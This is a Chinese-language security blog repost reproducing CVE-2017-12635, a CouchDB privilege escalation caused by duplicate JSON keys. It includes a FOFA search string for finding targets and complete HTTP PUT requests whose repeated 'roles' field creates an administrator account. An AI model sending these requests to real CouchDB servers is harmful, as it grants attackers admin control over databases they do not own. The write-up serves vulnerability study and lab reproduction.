-CVE-2017-12635 CouchDB垂直越权漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-CVE-2017-12635 CouchDB垂直越权漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

 Apache couchdb是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

图片[1]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享

0x03 漏洞复现

漏洞影响:小于1.7.0、小于2.1.1

FOFA:“CouchDB”

漏洞成因简述:由于javascriptJSON解析方式只会存储第二个值,如下:

JSON.parse("{"a":"1", "a": "2"}")
{a: "2"}

当传入:

"roles": ["_admin"],
"roles":[],

javascript会解析成:"roles":[]

那就意味着JavaScript在检测时,检测我们创建的用户角色=0。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。而在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是”roles”: [“_admin”],所以创建出了具有admin权限的账户。

1.创建vulhub角色,显示只有admin才有权限创建


PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
图片[2]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享

2.多构造一个”roles”:[],成功绕过权限,并创建了vulhub的用户

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 97

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub"
}
图片[3]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享

3.成功登录http://x.x.x.x:5984/_utils/#login 账号vulhub 密码vulhub

图片[4]--CVE-2017-12635 CouchDB垂直越权漏洞-渗透云记 - 专注于网络安全与技术分享
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容